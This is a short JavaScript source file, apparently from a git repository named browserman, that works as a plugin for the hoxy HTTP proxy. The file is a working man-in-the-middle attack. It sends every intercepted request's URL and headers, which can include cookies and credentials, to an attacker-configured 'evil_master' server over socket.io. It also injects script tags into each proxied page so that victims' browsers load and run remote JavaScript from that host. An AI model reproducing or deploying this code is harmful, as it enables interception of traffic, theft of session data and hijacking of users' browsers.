initial commit
[browserman.git] / hoxy / inject-evil.js
1 var fs = require('fs')
2
3 var config = fs.readFileSync('config.txt', 'utf8').split('\n').map(function(l) {return l.split('=')})
4 var my_ip = config.filter(function(l){return l[0]=='my_ip'})[0][1]
5 var server_port = config.filter(function(l){return l[0]=='server_port'})[0][1]
6 var evil_master = my_ip+':'+server_port
7
8 var io = require('socket.io-client').connect('http://'+evil_master)
9
10 exports.run = function(api) {
11   console.log('injecting...')
12   var qinf = api.getRequestInfo()
13   io.emit('request', {url: qinf.absUrl, headers: qinf.headers})
14   var body = api.getResponseBody()
15   var headIndex = body.indexOf('<head>')+6
16   if (headIndex == 5) headIndex = 0
17   body = body.substr(0, headIndex) +
18          '\n<script>var __evil_injection_server="'+evil_master+'"</script>' +
19          '\n<script src="http://'+evil_master+'/socket.io/socket.io.js"></script>' +
20          '\n<script src="http://'+evil_master+'/injection_script.js"></script>' +
21          body.substr(headIndex)
22   api.setResponseBody(body)
23   api.notify()
24 }